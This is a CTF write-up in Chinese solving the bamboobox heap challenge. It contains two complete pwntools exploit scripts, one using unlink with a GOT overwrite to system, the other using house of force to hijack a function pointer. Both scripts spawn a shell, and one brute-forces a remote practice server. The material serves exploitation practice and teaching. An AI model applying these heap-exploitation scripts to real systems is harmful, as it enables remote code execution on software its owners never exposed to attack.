hitcontraining_bamboobox (unlink or house of force)

1.unlink 这种方法非常简单,也很容易构造,所以我决定挑战一下不用 show()的写法。 需要 1/16 的概率来正确覆盖到堆地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
#context.log_level = "debug"
libc = ELF('./libc.so.6')
elf = ELF('./bamboobox')
def choice(idx):
    r.sendlineafter("Your choice:", str(idx))

def show():
    choice(1)

def add(size, content = 'sh'):
    choice(2)
    r.sendlineafter("Please enter the length of item name:", str(size))
    r.sendafter("Please enter the name of item:", content)

def edit(idx, content):
    choice(3)
    r.sendlineafter("Please enter the index of item:", str(idx))
    r.sendlineafter("Please enter the length of item name:", str(len(content)))
    r.sendafter("Please enter the new name of the item:", content)

def delete(idx):
    choice(4)
    r.sendlineafter("Please enter the index of item:", str(idx))

def pwn():
    add(0x88) #0
    add(0xF8) #1
    add(0x18) #2
    add(0x18) #3
    target = 0x6020C8
    magic = 0x400D49

    # unlink
    FD = target - 0x18
    BK = target - 0x10
    edit(0, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x80 - 0x20) + p64(0x80))
    delete(1)

    #partial overwrite & free@got -> [email protected] & free@got -> system
    edit(0, p64(0) * 3 + p64(elf.got['free']) + p64(0) + p64(elf.got['free']) + p64(0) + '\x40\x00')
    edit(0, p64(elf.plt['printf'] + 6) + p64(elf.plt['puts'] + 6))
    delete(2)
    malloc_hook_addr = u64(r.recvuntil('\x7f', timeout=1)[-6:].ljust(8, '\x00')) - 88 - 0x10
    if '0x7f' not in hex(malloc_hook_addr):
        raise EOFError
    libc.address = malloc_hook_addr - libc.sym['__malloc_hook']
    edit(1, p64(libc.sym['system']) + p64(elf.plt['puts'] + 6))

    #getshell
    delete(3)
    r.interactive()

while True:
    try:
        #r = process('./bamboobox')
        r = remote('node3.buuoj.cn', 26620)
        pwn()
    except EOFError:
        pass

2.house of force 这是要说明的重点方法,也是我做这道题的根本原因。 往低地址就是两者(low_addr - 0x10) - top_addr,往高地址,就是(high_addr - 0x10 - top_addr) - 0x10

这里要注意一个细节 第二次申请的时候,申请后的 top chunk size 不能小于 MINSIZE(0x10),即申请前的 malloc 堆块要大于申请 size + MINSIZE。 否则会触发重新申请 top chunk,在检测是否对齐的时候就会报错。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
#context.log_level = "debug"
libc = ELF('./libc.so.6')
elf = ELF('./bamboobox')
r = process('./bamboobox')
#r = remote('node3.buuoj.cn', 26620)
def choice(idx):
    r.sendlineafter("Your choice:", str(idx))

def show():
    choice(1)

def add(size, content = 'sh'):
    choice(2)
    r.sendlineafter("Please enter the length of item name:", str(size))
    r.sendafter("Please enter the name of item:", content)

def edit(idx, content):
    choice(3)
    r.sendlineafter("Please enter the index of item:", str(idx))
    r.sendlineafter("Please enter the length of item name:", str(len(content)))
    r.sendafter("Please enter the new name of the item:", content)

def delete(idx):
    choice(4)
    r.sendlineafter("Please enter the index of item:", str(idx))

magic = 0x400d49
add(0x30) #0
edit(0, 'a' * 0x38 + p64(0xffffffffffffffff))
size = (0x1ecc000 - 0x10) - 0x1ecc060
add(size) #1
add(0x18) #2
edit(2, p64(magic) * 2)
choice(5)
r.interactive()
0%